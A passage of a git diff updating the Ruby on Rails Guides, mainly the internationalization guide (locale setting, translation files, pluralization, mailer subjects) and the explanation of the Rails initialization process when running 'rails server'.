@@ You would probably need to map URLs like these: ```ruby # config/routes.rb -match '/:locale' => 'dashboard#index' +get '/:locale' => 'dashboard#index' ``` Do take special care about the **order of your routes**, so this route declaration does not "eat" other ones. (You may want to add it directly before the `root :to` declaration.) -NOTE: Have a look at two plugins which simplify work with routes in this way: Sven Fuchs's [routing_filter](https://github.com/svenfuchs/routing-filter/tree/master and Raul Murciano's [translate_routes](https://github.com/raul/translate_routes/tree/master). +NOTE: Have a look at various gems which simplify working with routes: [routing_filter](https://github.com/svenfuchs/routing-filter/tree/master), [rails-translate-routes](https://github.com/francesc/rails-translate-routes), [route_translator](https://github.com/enriclluelles/route_translator). ### Setting the Locale from the Client Supplied Information -In specific cases, it would make sense to set the locale from client-supplied information, i.e. not from the URL. This information may come for example from the users' preferred language (set in their browser), can be based on the users' geographical location inferred from their IP, or users can provide it simply by choosing the locale in your application interface and saving it to their profile. This approach is more suitable for web-based applications or services, not for websites — see the box about _sessions_, _cookies_ and RESTful architecture above. +In specific cases, it would make sense to set the locale from client-supplied information, i.e. not from the URL. This information may come for example from the users' preferred language (set in their browser), can be based on the users' geographical location inferred from their IP, or users can provide it simply by choosing the locale in your application interface and saving it to their profile. This approach is more suitable for web-based applications or services, not for websites - see the box about _sessions_, _cookies_ and RESTful architecture above. #### Using `Accept-Language` @@ -277,21 +283,22 @@ def set_locale I18n.locale = extract_locale_from_accept_language_header logger.debug "* Locale set to '#{I18n.locale}'" end + private -def extract_locale_from_accept_language_header - request.env['HTTP_ACCEPT_LANGUAGE'].scan(/^[a-z]{2}/).first -end + def extract_locale_from_accept_language_header + request.env['HTTP_ACCEPT_LANGUAGE'].scan(/^[a-z]{2}/).first + end ``` -Of course, in a production environment you would need much more robust code, and could use a plugin such as Iain Hecker's [http_accept_language](https://github.com/iain/http_accept_language/tree/master or even Rack middleware such as Ryan Tomayko's [locale](https://github.com/rack/rack-contrib/blob/master/lib/rack/contrib/locale.rb). +Of course, in a production environment you would need much more robust code, and could use a gem such as Iain Hecker's [http_accept_language](https://github.com/iain/http_accept_language/tree/master) or even Rack middleware such as Ryan Tomayko's [locale](https://github.com/rack/rack-contrib/blob/master/lib/rack/contrib/locale.rb). #### Using GeoIP (or Similar) Database -Another way of choosing the locale from client information would be to use a database for mapping the client IP to the region, such as [GeoIP Lite Country](http://www.maxmind.com/app/geolitecountry). The mechanics of the code would be very similar to the code above — you would need to query the database for the user's IP, and look up your preferred locale for the country/region/city returned. +Another way of choosing the locale from client information would be to use a database for mapping the client IP to the region, such as [GeoIP Lite Country](http://www.maxmind.com/app/geolitecountry). The mechanics of the code would be very similar to the code above - you would need to query the database for the user's IP, and look up your preferred locale for the country/region/city returned. #### User Profile -You can also provide users of your application with means to set (and possibly over-ride) the locale in your application interface, as well. Again, mechanics for this approach would be very similar to the code above — you'd probably let users choose a locale from a dropdown list and save it to their profile in the database. Then you'd set the locale to this value. +You can also provide users of your application with means to set (and possibly over-ride) the locale in your application interface, as well. Again, mechanics for this approach would be very similar to the code above - you'd probably let users choose a locale from a dropdown list and save it to their profile in the database. Then you'd set the locale to this value. Internationalizing your Application ----------------------------------- @@ -304,12 +311,23 @@ You most probably have something like this in one of your applications: ```ruby # config/routes.rb -Yourapp::Application.routes.draw do +Rails.application.routes.draw do root to: "home#index" end ``` ```ruby +# app/controllers/application_controller.rb +class ApplicationController < ActionController::Base + before_action :set_locale + + def set_locale + I18n.locale = params[:locale] || I18n.default_locale + end +end +``` + +```ruby # app/controllers/home_controller.rb class HomeController < ApplicationController def index @@ -353,7 +371,7 @@ NOTE: Rails adds a `t` (`translate`) helper method to your views so that you do So let's add the missing translations into the dictionary files (i.e. do the "localization" part): -```ruby +```yaml # config/locales/en.yml en: hello_world: Hello world! @@ -394,7 +412,7 @@ en: ### Adding Date/Time Formats -OK! Now let's add a timestamp to the view, so we can demo the **date/time localization** feature as well. To localize the time format you pass the Time object to `I18n.l` or (preferably) use Rails' `#l` helper. You can pick a format by passing the `:format` option — by default the `:default` format is used. +OK! Now let's add a timestamp to the view, so we can demo the **date/time localization** feature as well. To localize the time format you pass the Time object to `I18n.l` or (preferably) use Rails' `#l` helper. You can pick a format by passing the `:format` option - by default the `:default` format is used. ```erb # app/views/home/index.html.erb @@ -405,7 +423,7 @@ OK! Now let's add a timestamp to the view, so we can demo the **date/time locali And in our pirate translations file let's add a time format (it's already there in Rails' defaults for English): -```ruby +```yaml # config/locales/pirate.yml pirate: time: @@ -417,15 +435,15 @@ So that would give you:  -TIP: Right now you might need to add some more date/time formats in order to make the I18n backend work as expected (at least for the 'pirate' locale). Of course, there's a great chance that somebody already did all the work by **translating Rails' defaults for your locale**. See the [rails-i18n repository at Github](https://github.com/svenfuchs/rails-i18n/tree/master/rails/locale) for an archive of various locale files. When you put such file(s) in `config/locales/` directory, they will automatically be ready for use. +TIP: Right now you might need to add some more date/time formats in order to make the I18n backend work as expected (at least for the 'pirate' locale). Of course, there's a great chance that somebody already did all the work by **translating Rails' defaults for your locale**. See the [rails-i18n repository at GitHub](https://github.com/svenfuchs/rails-i18n/tree/master/rails/locale) for an archive of various locale files. When you put such file(s) in `config/locales/` directory, they will automatically be ready for use. ### Inflection Rules For Other Locales -Rails 4.0 allows you to define inflection rules (such as rules for singularization and pluralization) for locales other than English. In `config/initializers/inflections.rb`, you can define these rules for multiple locales. The initializer contains a default example for specifying additional rules for English; follow that format for other locales as you see fit. +Rails allows you to define inflection rules (such as rules for singularization and pluralization) for locales other than English. In `config/initializers/inflections.rb`, you can define these rules for multiple locales. The initializer contains a default example for specifying additional rules for English; follow that format for other locales as you see fit. ### Localized Views -Rails 2.3 introduces another convenient localization feature: localized views (templates). Let's say you have a _BooksController_ in your application. Your _index_ action renders content in `app/views/books/index.html.erb` template. When you put a _localized variant_ of this template: `index.es.html.erb` in the same directory, Rails will render content in this template, when the locale is set to `:es`. When the locale is set to the default locale, the generic `index.html.erb` view will be used. (Future Rails versions may well bring this _automagic_ localization to assets in `public`, etc.) +Let's say you have a _BooksController_ in your application. Your _index_ action renders content in `app/views/books/index.html.erb` template. When you put a _localized variant_ of this template: `index.es.html.erb` in the same directory, Rails will render content in this template, when the locale is set to `:es`. When the locale is set to the default locale, the generic `index.html.erb` view will be used. (Future Rails versions may well bring this _automagic_ localization to assets in `public`, etc.) You can make use of this feature, e.g. when working with a large amount of static content, which would be clumsy to put inside YAML or Ruby dictionaries. Bear in mind, though, that any change you would like to do later to the template must be propagated to all of them. @@ -468,19 +486,19 @@ NOTE: The default locale loading mechanism in Rails does not load locale files i ``` -Do check the [Rails i18n Wiki](http://rails-i18n.org/wiki) for list of tools available for managing translations. - Overview of the I18n API Features --------------------------------- You should have good understanding of using the i18n library now, knowing all necessary aspects of internationalizing a basic Rails application. In the following chapters, we'll cover it's features in more depth. +These chapters will show examples using both the `I18n.translate` method as well as the [`translate` view helper method](http://api.rubyonrails.org/classes/ActionView/Helpers/TranslationHelper.html#method-i-translate) (noting the additional feature provide by the view helper method). + Covered are features like these: * looking up translations * interpolating data into translations * pluralizing translations -* using safe HTML translations +* using safe HTML translations (view helper method only) * localizing dates, numbers, currency, etc. ### Looking up Translations @@ -494,7 +512,7 @@ I18n.t :message I18n.t 'message' ``` -The `translate` method also takes a `:scope` option which can contain one or more additional keys that will be used to specify a “namespace” or scope for a translation key: +The `translate` method also takes a `:scope` option which can contain one or more additional keys that will be used to specify a "namespace" or scope for a translation key: ```ruby I18n.t :record_invalid, scope: [:activerecord, :errors, :messages] @@ -568,6 +586,8 @@ you can look up the `books.index.title` value **inside** `app/views/books/index. <%= t '.title' %> ``` +NOTE: Automatic translation scoping by partial is only available from the `translate` view helper method. + ### Interpolation In many cases you want to abstract your translations so that **variables can be interpolated into the translation**. For this reason the I18n API provides an interpolation feature. @@ -608,7 +628,7 @@ entry[count == 1 ? 0 : 1] I.e. the translation denoted as `:one` is regarded as singular, the other is used as plural (including the count being zero). -If the lookup for the key does not return a Hash suitable for pluralization, an `18n::InvalidPluralizationData` exception is raised. +If the lookup for the key does not return a Hash suitable for pluralization, an `I18n::InvalidPluralizationData` exception is raised. ### Setting and Passing a Locale @@ -637,7 +657,7 @@ I18n.default_locale = :de ### Using Safe HTML Translations -Keys with a '_html' suffix and keys named 'html' are marked as HTML safe. Use them in views without escaping. +Keys with a '_html' suffix and keys named 'html' are marked as HTML safe. When you use them in views the HTML will not be escaped. ```yaml # config/locales/en.yml @@ -656,56 +676,25 @@ en: <div><%= t('title.html') %></div> ``` - - -How to Store your Custom Translations -------------------------------------- - -The Simple backend shipped with Active Support allows you to store translations in both plain Ruby and YAML format.[^2] - -For example a Ruby Hash providing translations can look like this: - -```ruby -{ - pt: { - foo: { - bar: "baz" - } - } -} -``` - -The equivalent YAML file would look like this: +Interpolation escapes as needed though. For example, given: -```ruby -pt: - foo: - bar: baz +```yaml +en: + welcome_html: "<b>Welcome %{username}!</b>" ``` -As you see, in both cases the top level key is the locale. `:foo` is a namespace key and `:bar` is the key for the translation "baz". - -Here is a "real" example from the Active Support `en.yml` translations YAML file: +you can safely pass the username as set by the user: -```ruby -en: - date: - formats: - default: "%Y-%m-%d" - short: "%b %d" - long: "%B %d, %Y" +```erb +<%# This is safe, it is going to be escaped if needed. %> +<%= t('welcome_html', username: @current_user.username %> ``` -So, all of the following equivalent lookups will return the `:short` date format `"%b %d"`: +Safe strings on the other hand are interpolated verbatim. -```ruby -I18n.t 'date.formats.short' -I18n.t 'formats.short', scope: :date -I18n.t :short, scope: 'date.formats' -I18n.t :short, scope: [:date, :formats] -``` +NOTE: Automatic conversion to HTML safe translate text is only available from the `translate` view helper method. -Generally we recommend using YAML as a format for storing translations. There are cases, though, where you want to store Ruby lambdas as part of your locale data, e.g. for special date formats. + ### Translations for Active Record Models @@ -713,7 +702,7 @@ You can use the methods `Model.model_name.human` and `Model.human_attribute_name For example when you add the following translations: -```ruby +```yaml en: activerecord: models: @@ -726,6 +715,32 @@ en: Then `User.model_name.human` will return "Dude" and `User.human_attribute_name("login")` will return "Handle". +You can also set a plural form for model names, adding as following: + +```yaml +en: + activerecord: + models: + user: + one: Dude + other: Dudes +``` + +Then `User.model_name.human(count: 2)` will return "Dudes". With `count: 1` or without params will return "Dude". + +In the event you need to access nested attributes within a given model, you should nest these under `model/attribute` at the model level of your translation file: + +```yaml +en: + activerecord: + attributes: + user/gender: + female: "Female" + male: "Male" +``` + +Then `User.human_attribute_name("gender.female")` will return "Female". + #### Error Message Scopes Active Record validation error messages can also be translated easily. Active Record gives you a couple of namespaces where you can place your message translations in order to provide different messages and translation for certain models, attributes, and/or validations. It also transparently takes single table inheritance into account. @@ -788,7 +803,7 @@ This way you can provide special translations for various error messages at diff The translated model name, translated attribute name, and value are always available for interpolation. -So, for example, instead of the default error message `"can not be blank"` you could use the attribute name like this : `"Please fill in your %{attribute}"`. +So, for example, instead of the default error message `"cannot be blank"` you could use the attribute name like this : `"Please fill in your %{attribute}"`. * `count`, where available, can be used for pluralization if present: @@ -797,6 +812,7 @@ So, for example, instead of the default error message `"can not be blank"` you c | confirmation | - | :confirmation | - | | acceptance | - | :accepted | - | | presence | - | :blank | - | +| absence | - | :present | - | | length | :within, :in | :too_short | count | | length | :within, :in | :too_long | count | | length | :is | :wrong_length | count | @@ -813,6 +829,7 @@ So, for example, instead of the default error message `"can not be blank"` you c | numericality | :equal_to | :equal_to | count | | numericality | :less_than | :less_than | count | | numericality | :less_than_or_equal_to | :less_than_or_equal_to | count | +| numericality | :only_integer | :not_an_integer | - | | numericality | :odd | :odd | - | | numericality | :even | :even | - | @@ -837,21 +854,61 @@ en: NOTE: In order to use this helper, you need to install [DynamicForm](https://github.com/joelmoss/dynamic_form) gem by adding this line to your Gemfile: `gem 'dynamic_form'`. +### Translations for Action Mailer E-Mail Subjects + +If you don't pass a subject to the `mail` method, Action Mailer will try to find +it in your translations. The performed lookup will use the pattern +`<mailer_scope>.<action_name>.subject` to construct the key. + +```ruby +# user_mailer.rb +class UserMailer < ActionMailer::Base + def welcome(user) + #... + end +end +``` + +```yaml +en: + user_mailer: + welcome: + subject: "Welcome to Rails Guides!" +``` + +To send parameters to interpolation use the `default_i18n_subject` method on the mailer. + +```ruby +# user_mailer.rb +class UserMailer < ActionMailer::Base + def welcome(user) + mail(to: user.email, subject: default_i18n_subject(user: user.name)) + end +end +``` + +```yaml +en: + user_mailer: + welcome: + subject: "%{user}, welcome to Rails Guides!" +``` + ### Overview of Other Built-In Methods that Provide I18n Support Rails uses fixed strings and other localizations, such as format strings and other format information in a couple of helpers. Here's a brief overview. #### Action View Helper Methods -* `distance_of_time_in_words` translates and pluralizes its result and interpolates the number of seconds, minutes, hours, and so on. See [datetime.distance_in_words](https://github.com/rails/rails/blob/master/actionpack/lib/action_view/locale/en.yml#L51) translations. +* `distance_of_time_in_words` translates and pluralizes its result and interpolates the number of seconds, minutes, hours, and so on. See [datetime.distance_in_words](https://github.com/rails/rails/blob/master/actionview/lib/action_view/locale/en.yml#L4) translations. -* `datetime_select` and `select_month` use translated month names for populating the resulting select tag. See [date.month_names](https://github.com/rails/rails/blob/master/activesupport/lib/active_support/locale/en.yml#L15) for translations. `datetime_select` also looks up the order option from [date.order](https://github.com/rails/rails/blob/master/activesupport/lib/active_support/locale/en.yml#L18) (unless you pass the option explicitly). All date selection helpers translate the prompt using the translations in the [datetime.prompts](https://github.com/rails/rails/blob/master/actionpack/lib/action_view/locale/en.yml#L83) scope if applicable. +* `datetime_select` and `select_month` use translated month names for populating the resulting select tag. See [date.month_names](https://github.com/rails/rails/blob/master/activesupport/lib/active_support/locale/en.yml#L15) for translations. `datetime_select` also looks up the order option from [date.order](https://github.com/rails/rails/blob/master/activesupport/lib/active_support/locale/en.yml#L18) (unless you pass the option explicitly). All date selection helpers translate the prompt using the translations in the [datetime.prompts](https://github.com/rails/rails/blob/master/actionview/lib/action_view/locale/en.yml#L39) scope if applicable. -* The `number_to_currency`, `number_with_precision`, `number_to_percentage`, `number_with_delimiter`, and `number_to_human_size` helpers use the number format settings located in the [number](https://github.com/rails/rails/blob/master/actionpack/lib/action_view/locale/en.yml#L2) scope. +* The `number_to_currency`, `number_with_precision`, `number_to_percentage`, `number_with_delimiter`, and `number_to_human_size` helpers use the number format settings located in the [number](https://github.com/rails/rails/blob/master/activesupport/lib/active_support/locale/en.yml#L37) scope. #### Active Model Methods -* `model_name.human` and `human_attribute_name` use translations for model names and attribute names if available in the [activerecord.models](https://github.com/rails/rails/blob/master/activerecord/lib/active_record/locale/en.yml#L29) scope. They also support translations for inherited class names (e.g. for use with STI) as explained above in "Error message scopes". +* `model_name.human` and `human_attribute_name` use translations for model names and attribute names if available in the [activerecord.models](https://github.com/rails/rails/blob/master/activerecord/lib/active_record/locale/en.yml#L36) scope. They also support translations for inherited class names (e.g. for use with STI) as explained above in "Error message scopes". * `ActiveModel::Errors#generate_message` (which is used by Active Model validations but may also be used manually) uses `model_name.human` and `human_attribute_name` (see above). It also translates the error message and supports translations for inherited class names as explained above in "Error message scopes". @@ -859,14 +916,63 @@ Rails uses fixed strings and other localizations, such as format strings and oth #### Active Support Methods -* `Array#to_sentence` uses format settings as given in the [support.array](https://github.com/rails/rails/blob/master/activesupport/lib/active_support/locale/en.yml#L30) scope. +* `Array#to_sentence` uses format settings as given in the [support.array](https://github.com/rails/rails/blob/master/activesupport/lib/active_support/locale/en.yml#L33) scope. + +How to Store your Custom Translations +------------------------------------- + +The Simple backend shipped with Active Support allows you to store translations in both plain Ruby and YAML format.[^2] + +For example a Ruby Hash providing translations can look like this: + +```yaml +{ + pt: { + foo: { + bar: "baz" + } + } +} +``` + +The equivalent YAML file would look like this: + +```yaml +pt: + foo: + bar: baz +``` + +As you see, in both cases the top level key is the locale. `:foo` is a namespace key and `:bar` is the key for the translation "baz". + +Here is a "real" example from the Active Support `en.yml` translations YAML file: + +```yaml +en: + date: + formats: + default: "%Y-%m-%d" + short: "%b %d" + long: "%B %d, %Y" +``` + +So, all of the following equivalent lookups will return the `:short` date format `"%b %d"`: + +```ruby +I18n.t 'date.formats.short' +I18n.t 'formats.short', scope: :date +I18n.t :short, scope: 'date.formats' +I18n.t :short, scope: [:date, :formats] +``` + +Generally we recommend using YAML as a format for storing translations. There are cases, though, where you want to store Ruby lambdas as part of your locale data, e.g. for special date formats. Customize your I18n Setup ------------------------- ### Using Different Backends -For several reasons the Simple backend shipped with Active Support only does the "simplest thing that could possibly work" _for Ruby on Rails_[^3] ... which means that it is only guaranteed to work for English and, as a side effect, languages that are very similar to English. Also, the simple backend is only capable of reading translations but can not dynamically store them to any format. +For several reasons the Simple backend shipped with Active Support only does the "simplest thing that could possibly work" _for Ruby on Rails_[^3] ... which means that it is only guaranteed to work for English and, as a side effect, languages that are very similar to English. Also, the simple backend is only capable of reading translations but cannot dynamically store them to any format. That does not mean you're stuck with these limitations, though. The Ruby I18n gem makes it very easy to exchange the Simple backend implementation with something else that fits better for your needs. E.g. you could exchange it with Globalize's Static backend: @@ -893,11 +999,11 @@ ReservedInterpolationKey # the translation contains a reserved interpolation UnknownFileType # the backend does not know how to handle a file type that was added to I18n.load_path ``` -The I18n API will catch all of these exceptions when they are thrown in the backend and pass them to the default_exception_handler method. This method will re-raise all exceptions except for `MissingTranslationData` exceptions. When a `MissingTranslationData` exception has been caught, it will return the exception’s error message string containing the missing key/scope. +The I18n API will catch all of these exceptions when they are thrown in the backend and pass them to the default_exception_handler method. This method will re-raise all exceptions except for `MissingTranslationData` exceptions. When a `MissingTranslationData` exception has been caught, it will return the exception's error message string containing the missing key/scope. The reason for this is that during development you'd usually want your views to still render even though a translation is missing. -In other contexts you might want to change this behaviour, though. E.g. the default exception handling does not allow to catch missing translations during automated tests easily. For this purpose a different exception handler can be specified. The specified exception handler must be a method on the I18n module or a class with `#call` method: +In other contexts you might want to change this behavior, though. E.g. the default exception handling does not allow to catch missing translations during automated tests easily. For this purpose a different exception handler can be specified. The specified exception handler must be a method on the I18n module or a class with `#call` method: ```ruby module I18n @@ -927,7 +1033,7 @@ else end ``` -Another example where the default behaviour is less desirable is the Rails TranslationHelper which provides the method `#t` (as well as `#translate`). When a `MissingTranslationData` exception occurs in this context, the helper wraps the message into a span with the CSS class `translation_missing`. +Another example where the default behavior is less desirable is the Rails TranslationHelper which provides the method `#t` (as well as `#translate`). When a `MissingTranslationData` exception occurs in this context, the helper wraps the message into a span with the CSS class `translation_missing`. To do so, the helper forces `I18n#translate` to raise exceptions no matter what exception handler is defined by setting the `:raise` option: @@ -946,9 +1052,9 @@ If you find anything missing or wrong in this guide, please file a ticket on our Contributing to Rails I18n -------------------------- -I18n support in Ruby on Rails was introduced in the release 2.2 and is still evolving. The project follows the good Ruby on Rails development tradition of evolving solutions in plugins and real applications first, and only then cherry-picking the best-of-breed of most widely useful features for inclusion in the core. +I18n support in Ruby on Rails was introduced in the release 2.2 and is still evolving. The project follows the good Ruby on Rails development tradition of evolving solutions in gems and real applications first, and only then cherry-picking the best-of-breed of most widely useful features for inclusion in the core. -Thus we encourage everybody to experiment with new ideas and features in plugins or other libraries and make them available to the community. (Don't forget to announce your work on our [mailing list](http://groups.google.com/group/rails-i18n!)) +Thus we encourage everybody to experiment with new ideas and features in gems or other libraries and make them available to the community. (Don't forget to announce your work on our [mailing list](http://groups.google.com/group/rails-i18n!)) If you find your own locale (language) missing from our [example translations data](https://github.com/svenfuchs/rails-i18n/tree/master/rails/locale) repository for Ruby on Rails, please [_fork_](https://github.com/guides/fork-a-project-and-submit-your-modifications) the repository, add your data and send a [pull request](https://github.com/guides/pull-requests). @@ -956,10 +1062,9 @@ If you find your own locale (language) missing from our [example translations da Resources --------- -* [rails-i18n.org](http://rails-i18n.org) - Homepage of the rails-i18n project. You can find lots of useful resources on the [wiki](http://rails-i18n.org/wiki). * [Google group: rails-i18n](http://groups.google.com/group/rails-i18n) - The project's mailing list. -* [Github: rails-i18n](https://github.com/svenfuchs/rails-i18n/tree/master) - Code repository for the rails-i18n project. Most importantly you can find lots of [example translations](https://github.com/svenfuchs/rails-i18n/tree/master/rails/locale) for Rails that should work for your application in most cases. -* [Github: i18n](https://github.com/svenfuchs/i18n/tree/master) - Code repository for the i18n gem. +* [GitHub: rails-i18n](https://github.com/svenfuchs/rails-i18n/tree/master) - Code repository for the rails-i18n project. Most importantly you can find lots of [example translations](https://github.com/svenfuchs/rails-i18n/tree/master/rails/locale) for Rails that should work for your application in most cases. +* [GitHub: i18n](https://github.com/svenfuchs/i18n/tree/master) - Code repository for the i18n gem. * [Lighthouse: rails-i18n](http://i18n.lighthouseapp.com/projects/14948-rails-i18n/overview) - Issue tracker for the rails-i18n project. * [Lighthouse: i18n](http://i18n.lighthouseapp.com/projects/14947-ruby-i18n/overview) - Issue tracker for the i18n gem. @@ -976,7 +1081,7 @@ If you found this guide useful, please consider recommending its authors on [wor Footnotes --------- -[^1]: Or, to quote [Wikipedia](http://en.wikipedia.org/wiki/Internationalization_and_localization:) _"Internationalization is the process of designing a software application so that it can be adapted to various languages and regions without engineering changes. Localization is the process of adapting software for a specific region or language by adding locale-specific components and translating text."_ +[^1]: Or, to quote [Wikipedia](http://en.wikipedia.org/wiki/Internationalization_and_localization): _"Internationalization is the process of designing a software application so that it can be adapted to various languages and regions without engineering changes. Localization is the process of adapting software for a specific region or language by adding locale-specific components and translating text."_ [^2]: Other backends might allow or require to use other formats, e.g. a GetText backend might allow to read GetText files. diff --git a/guides/source/index.html.erb b/guides/source/index.html.erb index a8e4525c67..2fdf18a2e9 100644 --- a/guides/source/index.html.erb +++ b/guides/source/index.html.erb @@ -9,6 +9,7 @@ Ruby on Rails Guides <% content_for :index_section do %> <div id="subCol"> <dl> + <dt></dt> <dd class="kindle">Rails Guides are also available for <%= link_to 'Kindle', @mobi %>.</dd> <dd class="work-in-progress">Guides marked with this icon are currently being worked on and will not be available in the Guides Index menu. While still useful, they may contain incomplete information and even errors. You can help by reviewing them and posting your comments and corrections.</dd> </dl> @@ -19,7 +20,7 @@ Ruby on Rails Guides <h3><%= section['name'] %></h3> <dl> <% section['documents'].each do |document| %> - <%= guide(document['name'], document['url'], :work_in_progress => document['work_in_progress']) do %> + <%= guide(document['name'], document['url'], work_in_progress: document['work_in_progress']) do %> <p><%= document['description'] %></p> <% end %> <% end %> diff --git a/guides/source/initialization.md b/guides/source/initialization.md index 32df508f9c..0acf094f71 100644 --- a/guides/source/initialization.md +++ b/guides/source/initialization.md @@ -1,3 +1,5 @@ +**DO NOT READ THIS FILE IN GITHUB, GUIDES ARE PUBLISHED IN http://guides.rubyonrails.org.** + The Rails Initialization Process ================================ @@ -7,14 +9,17 @@ as of Rails 4. It is an extremely in-depth guide and recommended for advanced Ra After reading this guide, you will know: * How to use `rails server`. +* The timeline of Rails' initialization sequence. +* Where different files are required by the boot sequence. +* How the Rails::Server interface is defined and used. -------------------------------------------------------------------------------- This guide goes through every method call that is required to boot up the Ruby on Rails stack for a default Rails 4 application, explaining each part in detail along the way. For this -guide, we will be focusing on what happens when you execute +rails -server+ to boot your app. +guide, we will be focusing on what happens when you execute `rails server` +to boot your app. NOTE: Paths in this guide are relative to Rails or a Rails application unless otherwise specified. @@ -26,128 +31,51 @@ quickly. Launch! ------- -A Rails application is usually started with the command `rails server`. - -### `bin/rails` - -The actual `rails` command is kept in _bin/rails_: - -```ruby -#!/usr/bin/env ruby - -if File.exists?(File.join(File.expand_path('../../..', __FILE__), '.git')) - railties_path = File.expand_path('../../lib', __FILE__) - $:.unshift(railties_path) -end -require "rails/cli" -``` - -This file will first attempt to push the `railties/lib` directory if -present, and then requires `rails/cli`. - -### `railties/lib/rails/cli.rb` - -This file looks like this: - -```ruby -require 'rbconfig' -require 'rails/script_rails_loader' - -# If we are inside a Rails application this method performs an exec and thus -# the rest of this script is not run. -Rails::ScriptRailsLoader.exec_script_rails! - -require 'rails/ruby_version_check' -Signal.trap("INT") { puts; exit(1) } - -if ARGV.first == 'plugin' - ARGV.shift - require 'rails/commands/plugin_new' -else - require 'rails/commands/application' -end -``` - -The `rbconfig` file from the Ruby standard library provides us with the `RbConfig` class which contains detailed information about the Ruby environment, including how Ruby was compiled. We can see this in use in `railties/lib/rails/script_rails_loader`. - -```ruby -require 'pathname' - -module Rails - module ScriptRailsLoader - RUBY = File.join(*RbConfig::CONFIG.values_at("bindir", "ruby_install_name")) + RbConfig::CONFIG["EXEEXT"] - SCRIPT_RAILS = File.join('script', 'rails') - ... - - end -end -``` +Let's start to boot and initialize the app. A Rails application is usually +started by running `rails console` or `rails server`. -The `rails/script_rails_loader` file uses `RbConfig::Config` to obtain the `bin_dir` and `ruby_install_name` values for the configuration which together form the path to the Ruby interpreter. The `RbConfig::CONFIG["EXEEXT"]` will suffix this path with ".exe" if the script is running on Windows. This constant is used later on in `exec_script_rails!`. As for the `SCRIPT_RAILS` constant, we'll see that when we get to the `in_rails_application?` method. +### `railties/bin/rails` -Back in `rails/cli`, the next line is this: +The `rails` in the command `rails server` is a ruby executable in your load +path. This executable contains the following lines: ```ruby -Rails::ScriptRailsLoader.exec_script_rails! +version = ">= 0" +load Gem.bin_path('railties', 'rails', version) ``` -This method is defined in `rails/script_rails_loader`: +If you try out this command in a Rails console, you would see that this loads +`railties/bin/rails`. A part of the file `railties/bin/rails.rb` has the +following code: ```ruby -def self.exec_script_rails! - cwd = Dir.pwd - return unless in_rails_application? || in_rails_application_subdirectory? - exec RUBY, SCRIPT_RAILS, *ARGV if in_rails_application? - Dir.chdir("..") do - # Recurse in a chdir block: if the search fails we want to be sure - # the application is generated in the original working directory. - exec_script_rails! unless cwd == Dir.pwd - end -rescue SystemCallError - # could not chdir, no problem just return -end +require "rails/cli" ``` -This method will first check if the current working directory (`cwd`) is a Rails application or a subdirectory of one. This is determined by the `in_rails_application?` method: +The file `railties/lib/rails/cli` in turn calls +`Rails::AppRailsLoader.exec_app_rails`. -```ruby -def self.in_rails_application? - File.exists?(SCRIPT_RAILS) -end -``` +### `railties/lib/rails/app_rails_loader.rb` -The `SCRIPT_RAILS` constant defined earlier is used here, with `File.exists?` checking for its presence in the current directory. If this method returns `false` then `in_rails_application_subdirectory?` will be used: +The primary goal of the function `exec_app_rails` is to execute your app's +`bin/rails`. If the current directory does not have a `bin/rails`, it will +navigate upwards until it finds a `bin/rails` executable. Thus one can invoke a +`rails` command from anywhere inside a rails application. -```ruby -def self.in_rails_application_subdirectory?(path = Pathname.new(Dir.pwd)) - File.exists?(File.join(path, SCRIPT_RAILS)) || !path.root? && in_rails_application_subdirectory?(path.parent) -end -``` +For `rails server` the equivalent of the following command is executed: -This climbs the directory tree until it reaches a path which contains a `script/rails` file. If a directory containing this file is reached then this line will run: - -```ruby -exec RUBY, SCRIPT_RAILS, *ARGV if in_rails_application? +```bash +$ exec ruby bin/rails server ``` -This is effectively the same as running `ruby script/rails [arguments]`, where `[arguments]` at this point in time is simply "server". - -Rails Initialization --------------------- - -Only now we finally start the real initialization process, beginning -with `script/rails`. - -TIP: If you execute `script/rails` directly from your Rails app you will -skip executing all the code that we've just described. - -### `script/rails` +### `bin/rails` This file is as follows: ```ruby -APP_PATH = File.expand_path('../../config/application', __FILE__) -require File.expand_path('../../config/boot', __FILE__) +#!/usr/bin/env ruby +APP_PATH = File.expand_path('../../config/application', __FILE__) +require_relative '../config/boot' require 'rails/commands' ``` @@ -161,47 +89,46 @@ The `APP_PATH` constant will be used later in `rails/commands`. The `config/boot # Set up gems listed in the Gemfile. ENV['BUNDLE_GEMFILE'] ||= File.expand_path('../../Gemfile', __FILE__) -require 'bundler/setup' if File.exists?(ENV['BUNDLE_GEMFILE']) +require 'bundler/setup' if File.exist?(ENV['BUNDLE_GEMFILE']) ``` In a standard Rails application, there's a `Gemfile` which declares all dependencies of the application. `config/boot.rb` sets `ENV['BUNDLE_GEMFILE']` to the location of this file. If the Gemfile -exists, `bundler/setup` is then required. - -The gems that a Rails 4 application depends on are as follows: - -TODO: change these when the Rails 4 release is near. - -* abstract (1.0.0) -* actionmailer (4.0.0.beta) -* actionpack (4.0.0.beta) -* activemodel (4.0.0.beta) -* activerecord (4.0.0.beta) -* activesupport (4.0.0.beta) -* arel (2.0.7) -* builder (3.0.0) -* bundler (1.0.6) -* erubis (2.6.6) -* i18n (0.5.0) -* mail (2.2.12) -* mime-types (1.16) -* polyglot (0.3.1) -* rack (1.2.1) -* rack-cache (0.5.3) -* rack-mount (0.6.13) -* rack-test (0.5.6) -* rails (4.0.0.beta) -* railties (4.0.0.beta) -* rake (0.8.7) -* sqlite3-ruby (1.3.2) -* thor (0.14.6) -* treetop (1.4.9) -* tzinfo (0.3.23) +exists, then `bundler/setup` is required. The require is used by Bundler to +configure the load path for your Gemfile's dependencies. + +A standard Rails application depends on several gems, specifically: + +* actionmailer +* actionpack +* actionview +* activemodel +* activerecord +* activesupport +* arel +* builder +* bundler +* erubis +* i18n +* mail +* mime-types +* rack +* rack-cache +* rack-mount +* rack-test +* rails +* railties +* rake +* sqlite3 +* thor +* tzinfo ### `rails/commands.rb` -Once `config/boot.rb` has finished, the next file that is required is `rails/commands` which will execute a command based on the arguments passed in. In this case, the `ARGV` array simply contains `server` which is extracted into the `command` variable using these lines: +Once `config/boot.rb` has finished, the next file that is required is +`rails/commands`, which helps in expanding aliases. In the current case, the +`ARGV` array simply contains `server` which will be passed over: ```ruby ARGV << '--help' if ARGV.empty? @@ -217,36 +144,72 @@ aliases = { command = ARGV.shift command = aliases[command] || command + +require 'rails/commands/commands_tasks' + +Rails::CommandsTasks.new(ARGV).run_command!(command) ``` TIP: As you can see, an empty ARGV list will make Rails show the help snippet. -If we used `s` rather than `server`, Rails will use the `aliases` defined in the file and match them to their respective commands. With the `server` command, Rails will run this code: +If we had used `s` rather than `server`, Rails would have used the 